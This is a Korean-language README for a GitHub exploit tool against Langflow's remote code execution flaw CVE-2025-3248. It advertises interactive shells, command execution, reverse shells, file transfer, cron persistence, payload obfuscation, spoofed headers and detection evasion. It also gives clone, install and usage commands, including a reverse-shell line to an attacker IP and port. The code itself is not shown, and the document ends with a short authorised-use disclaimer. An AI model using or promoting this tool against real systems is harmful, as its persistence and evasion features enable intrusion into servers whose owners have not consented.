Langflow RCE 익스플로잇 (CVE-2025-3248)

Langflow 원격 코드 실행 익스플로잇 (CVE-2025-3248)

기능

• 자동 취약점 탐지
• 여러 익스플로잇 모드:
  • 대화형 셸
  • 단일 명령 실행
  • 리버스 셸 연결
• 파일 업로드 기능
• 색상화된 사용자 인터페이스
• 여러 리버스 셸 방식
• 명령 기록 유지

📌 변경 로그 (v2.0)

✨ 새로운 기능:

• 5가지 실행 방법을 지원하는 고급 페이로드 시스템
• Base64 인코딩을 사용한 파일 업로드/다운로드
• Cron 작업을 통한 지속성 (persist 명령)
• 대화형 셸 업그레이드:
  • upload local_path remote_path
  • download remote_path local_path
  • 터미널용 clear 명령

🛡️ 보안 강화:

• 자동 페이로드 난독화 (Base64 + 무작위 변형)
• 요청별 헤더 순환:
  • 무작위 User-Agent
  • 위조된 X-Forwarded-For IP
• HTTPS 우회 (자체 서명 인증서 지원)
• 리디렉션 없음 – 탐지 회피

⚡ 기술적 개선:

• 다단계 취약점 검증
• 불안정한 연결을 위한 향상된 오류 처리
• 전체 세션 로깅 (exploit_log.txt 파일)
• 명령 기록 유지 (.langflow_shell_history)

📊 버전 비교:

🐛 버그 수정:

• HTTPS 연결 문제 수정
• 명령 내 특수 문자 처리 개선
• 리버스 셸 안정성 향상

요구 사항

• Python 3.6 이상
• 필수 라이브러리:
  • requests
  • colorama
  • readline

설치

git clone https://github.com/0-d3y/langflow-rce-exploit.git
cd langflow-rce-exploit
pip install -r requirements.txt

사용법

python exploit.py <URL> [옵션]

사용 가능한 옵션:

예시:

1. 취약점 확인:

python exploit.py http://target.com

2. 대화형 셸 시작:

python exploit.py http://target.com --shell

3. 단일 명령 실행:

python exploit.py http://target.com --command "whoami"

4. 리버스 셸 실행:

python exploit.py http://target.com --reverse 192.168.1.100 4444

스크린샷

Image.png)

경고

⚠️ 이 도구는 교육 및 승인된 테스트 목적으로만 사용해야 합니다.
⚠️ 소유하지 않았거나 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다.

라이선스

이 프로젝트는 MIT 라이선스 하에 배포됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

작성자

• Mr.SaMi
  
  

기여

풀 리퀘스트를 환영합니다. 주요 변경 사항의 경우, 먼저 이슈를 열어 변경하고자 하는 내용을 논의해 주세요.